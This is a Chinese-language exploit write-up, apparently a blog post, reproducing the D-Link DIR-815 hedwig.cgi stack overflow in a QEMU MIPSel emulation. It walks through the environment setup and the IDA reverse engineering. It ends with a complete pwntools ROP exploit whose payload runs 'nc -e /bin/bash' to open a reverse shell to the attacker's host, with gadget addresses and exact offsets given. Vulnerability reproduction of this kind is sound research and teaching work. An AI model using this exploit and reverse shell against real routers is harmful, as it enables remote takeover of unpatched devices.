[mipsel&栈溢出]DIR815栈溢出
[mipsel&栈溢出]DIR815栈溢出
https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625
主要参考winmt师傅的文章——[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区
主要溢出点:
v20的来源是一个用户传入的post参数值(uid=xxxx...),没有长度检测,而overflow缓冲区只有0x400,所以存在栈溢出
![]()
image-20251111222047056
仿真环境:
为了熟悉iot仿真,这个复现我是直接全程用的系统级仿真,所以也只记录系统级的复现流程了
仿真参考:
ubuntu宿主机 配置虚拟网卡和网桥
#sudo apt-get install bridge-utils #sudo apt-get install uml-utilities # UML(User-mode linux)工具 sudo brctl addbr Virbr0 sudo ifconfig Virbr0 192.168.236.1/24 up sudo tunctl -t tap0 sudo ifconfig tap0 192.168.236.126/24 up sudo brctl addif Virbr0 tap0 qemu虚拟机 配置虚拟网卡ip地址 ifconfig <虚拟网卡名> 192.168.<网段>.2/24 up
测试网络配置
宿主机内ping虚拟机里配置的ip地址

然后就可以scp传入 固件内容了
scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa <文件源(为目录时加-r选项)> <root@<qemu虚拟机地址>:<目标目录>>
后面的部分则是参考了winmt师傅和这个师傅的文章——DIR-815 栈溢出漏洞复现 - cosyQAQ - 博客园
首先要写一个 http_conf 作为http服务的配置文件,放到 squashfs-root 目录下
#/http_conf Umask 026 PIDFile /var/run/httpd.pid LogGMT On #开启log ErrorLog /log #log文件 Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 } Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } } Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth1 #对应qemu仿真路由器系统的网卡 Address 192.168.<虚拟机局域网网段>.<qemu虚拟机地址> #qemu仿真路由器系统的IP Port "80" #对应未被使用的端口 Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
然后是 配置 Linux 系统的网络和防火墙,目的是使得系统能够进行网络转发和进行 NAT
#init.sh #! /bin/sh sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o <宿主机网卡名> -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
然后是配置qemu的虚拟机的文件系统,让其接近路由器系统的环境
在qemu虚拟机的squashfs-root目录下创建init.sh的脚本进行初始化操作:
#!/bin/bash echo 0 > /proc/sys/kernel/randomize_va_space cp http_conf / cp sbin/httpd / cp -rf htdocs/ / mkdir /etc_bak cp -r /etc /etc_bak rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / rm -rf /htdocs/web/hedwig.cgi rm -rf /usr/sbin/phpcgi rm -rf /usr/sbin/hnap ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap ./httpd -f http_conf
在qemu虚拟机的squashfs-root目录下创建fin.sh的脚本进行初始化操作:
nano fin.sh,写入下面这些配置
#!/bin/bash rm -rf /etc mv /etc_bak/etc /etc rm -rf /etc_bak
init.sh:执行初始化操作,关闭地址空间随机化,复制必要的文件和库,备份和替换系统配置,启动 HTTP 服务。它的目标是为某个特定的应用或环境设置系统。
fin.sh:执行清理和恢复操作,删除更改过的系统配置,并将原始配置文件还原。这通常用于恢复到原始状态,为了清理操作或准备退出环境。
然后就可以尝试访问仿真环境的路由网页

image-20251111225838180
逆向
ida打开cgibin程序,找到hedwig.cgi对应的函数
来到hedwigcgi_main函数,首先是一个请求方法的检查
只接受 POST 方法,所以在攻击测试时要在启动脚本里加上 REQUEST_METHOD=POST
紧接着是一个 cgibin_parse_request(sub_409A6C, 0, 0x20000); 这里看不懂,先忽略

然后是读取了一个文件的内容 /etc/config/image_sign
逻辑上是要求至少有这个文件才能继续走,但内容也就是 v26 似乎不重要
但是看了几篇文章似乎都没有提到这里,而且实测发现不调试的时候确实没问题,但是调试的时候就会被断,没懂为什么,所以最好是创建一个文件随便写点东西吧
断在fgets
再往后就是和利用点有关的调用了![]()
这里是把v4这个指针传递给 sess_get_uid 函数 (v4类似于new出来的一个缓冲区对象
)
sess_get_uid ai分析:
这个函数 sess_get_uid 主要用于从 HTTP 请求中的 HTTP_COOKIE 获取 uid 的值,并将其存储到传入的对象中。具体来说,它解析了 HTTP_COOKIE 中存储的键值对,查找名为 "uid" 的项,并将其值(如果存在的话)存储在 a1 指向的对象中。如果 uid 不存在,它将获取 REMOTE_ADDR(客户端的 IP 地址),并将其存储。
总结来说就是获取uid的内容,然后存到v4,这个uid的内容是用户自由控制的,也就变成了漏洞点的数据源

然后就是获取v4内容并将其作为参数调用 sprintf 拼接url
前面uid也就是这里的string,内容长度无限制,而v27缓冲区空间为紧挨 $fp的0x400,可以溢出到栈帧部分
但是还得看后面有没有再次影响v27的逻辑
这里往后的过程的话,包括我这篇文章引用的两个师傅的文章的话,我感觉看到的很多文章都说是满足条件去用第二个sprintf也就是133行的那次栈溢出,但我尝试了下发现没必要等第二条sprintf,直接在这次sprintf之后利用后面对haystack的检测走错误处理分支,提前结束函数逻辑强制ret就可以了。
缺点是这样打实际上算是让服务报错宕机了,原来的打法貌似不会有报错信息的抛出

image-20251112221125337
紧跟着的是打开 /var/tmp/temp.xml 这个文件,这个目录在真机上是存在的,所以咱们不能利用这里的错误分支
而再后面就是机会:
只要让haystack为空指针这里就会走错误分支提前结束了
而在这之前能操作haystack的地方只有一个,就是前面忽略的 cgibin_parse_request 函数
这里如果偷鸡一点的话就是说:在其他人的打法中这里需要让haystack非空,所以就需要让几个关于响应体的环境变量非空,所以反过来说的话,就是让其中几个值为空就得了awa
比如:
不管这俩变量,就ok了
稍微分析一下条件问题:
先在这个函数里找找有a1的地方,发现在这:
所以就从这里开始往外找,发现首先是一个对 CONTENT_TYPE 变量的获取![]()
也就是说首先不能有CONTENT_TYPE,继续往外扩(其实到这就够了,最重要的就是不能有CONTENT_TYPE),发现是对一个变量的检查,往前找是哪来的

可以看到,这次是CONTENT_LENGTH,只要让它是0或者压根不管就可以了(这里的a3 大于 contLen就没办法了,a3是外面传过来的0x20000,肯定是没办法的)
如果要再往外一层的话,就是REQUEST_URL了
首先是在外一层这里有一个对v9的检查![]()
v9是在这个函数的前半部分赋值的
要REQUEST_URL为空,v9就会为-1,则后面的所有逻辑都不会进行,haystack就会保持空指针的状态了
总结下来就是: CONTENT_TYPE, CONTENT_LENTH, REQUEST_URL 三个环境变量,只要缺一个就能满足条件,所以咱就一个都别管了
回到主函数里,从haystack的错误分支处理往下看,首先是跳这里
然后是跳这里
抛出报错响应体,然后结束进入返回阶段,没有任何问题
攻击
根据前面的分析,可以写出这样的运行脚本(在系统级qemu仿真环境里运行目标服务程序)
#!/bin/bash export HTTP_COOKIE="uid=`cat payload`" #uid用来承载payload export REQUEST_METHOD="POST" #满足主函数里的要求,请求方法要为POST #echo "winmt=pwner"|./gdbserver.mipsel 192.168.171.126:6666 /htdocs/web/hedwig.cgi #调试 echo "winmt=pwner"|/htdocs/web/hedwig.cgi #不带调试 unset HTTP_COOKIE unset REQUEST_METHOD
然后就写payload:
from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug') # 这里ip是ubuntu的ip地址,端口8888,进行监听 cmd = b'nc -e /bin/bash 192.168.171.126 8888' # iot环境中需要反弹shell,由iot仿真环境向攻击机发起shell libc_base = 0x77f34000 #因为真机没有aslr,所以可以直接调试看地址是多少 testPadding = '...' #cyclic生成,方便测试哪个ra, s0等寄存器都在什么位置 fd = open("payload", "wb") #把生成的payload放到文件里,然后scp传到仿真环境里 fd.write(payload) fd.close()
主要目的是调用一个 system("nc -e /bin/bash <ip> <port>")
那么碰到的第一个问题是,这个固件的libc的system地址是00结尾的 ![]()
由于栈溢出漏洞点是sprintf,会被 \0 截断,所以要避免使用呆\0的地址(另外我发现这个程序貌似有些地方会做出将\0字节忽视然后将后面的字节接上不去的情况,想试的可以尝试正常写进去这个system地址,然后看看最低字节是不是变成padding字符了)
很容易想到的解决方案是把system地址加减n,然后利用gadget把它加减回去
所以就需要这样一个链子:
1.把放在栈上或者寄存器上的system地址加回去 2.把参数传到a0上 3.调用存到S系列寄存器的system地址
我这里就直接偷别的师傅的链子了awa:
gadget1 .text:00032A98 addiu $s0, 1 .text:00032A9C li $s2, 1 .text:00032AA0 .text:00032AA0 loc_32AA0: # CODE XREF: sub_32850:loc_32A88↑j .text:00032AA0 move $t9, $s1 .text:00032AA4 jalr $t9 gadget2 .text:000169C4 addiu $s2, $sp, 0x18 .text:000169C8 move $a2, $v1 .text:000169CC move $t9, $s0 .text:000169D0 jalr $t9 .text:000169D4 move $a0, $s2
首先mips大多数函数都会保存恢复s系列寄存器的值,保存的位置自然是栈
像这样
所以在能栈溢出时,最好的手段就是借 S 系列寄存器进一步的控制其他内容
所以上面第一段gadget中,总结来说是 S0 + 1 ;jalr S1
所以可以把&system-1放s0里,然后把第二段gadget地址放s1
第二段,a0 = sp+0x18; jalr s0 ,相当于是 s0( sp+0x18 ),s0 由刚才gadget1顺利加到system地址,再者就是sp+0x18的位置放 反弹shell命令 的参数了
为了精确知道咱们想控制的每个 栈地址 和 寄存器 会被payload的哪一段控制,我们可以 cyclic 1280 生成一段不重复字串测试
让函数走到返回的位置
然后看想要的几个寄存器都是什么
然后就可以去脚本里找这几个四字符在什么位置 (由于sp后面还有变动,为了准确我们可以放后面动)
在对应位置填地址就行了
把地址补上然后调试看效果:

(跳第一段gadget)

(把s0加到system地址后,跳第二段gadget)
(设置参数然后跳system)

这里就能看到system的参数落在kfaa的位置,同理替换即可
把调试关了运行run.sh,顺利发起shell

image-20251112235351211
ROP打法EXP:
#makePl.py from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug') # 这里ip是ubuntu的ip地址,端口8888,进行监听 cmd = b'nc -e /bin/bash 192.168.171.126 8888' libc_base = 0x77f34000 payload = b'i'*1007 #kcaa s0 payload += p32(libc_base+0x53200-1) #kdaa s1 payload += p32(libc_base+0x169c4) payload += b'i'*28 #klaa ra payload += p32(libc_base+0x32a98) payload += b'i'*24 #ksaa param1 payload += cmd fd = open("payload", "wb") fd.write(payload) fd.close() # .text:00032A98 addiu $s0, 1 # .text:00032A9C li $s2, 1 # .text:00032AA0 # .text:00032AA0 loc_32AA0: # CODE XREF: sub_32850:loc_32A88↑j # .text:00032AA0 move $t9, $s1 # .text:00032AA4 jalr $t9 # .text:000169C4 addiu $s2, $sp, 0x18 # .text:000169C8 move $a2, $v1 # .text:000169CC move $t9, $s0 # .text:000169D0 jalr $t9 # .text:000169D4 move $a0, $s2
run.sh同上

浙公网安备 33010602011771号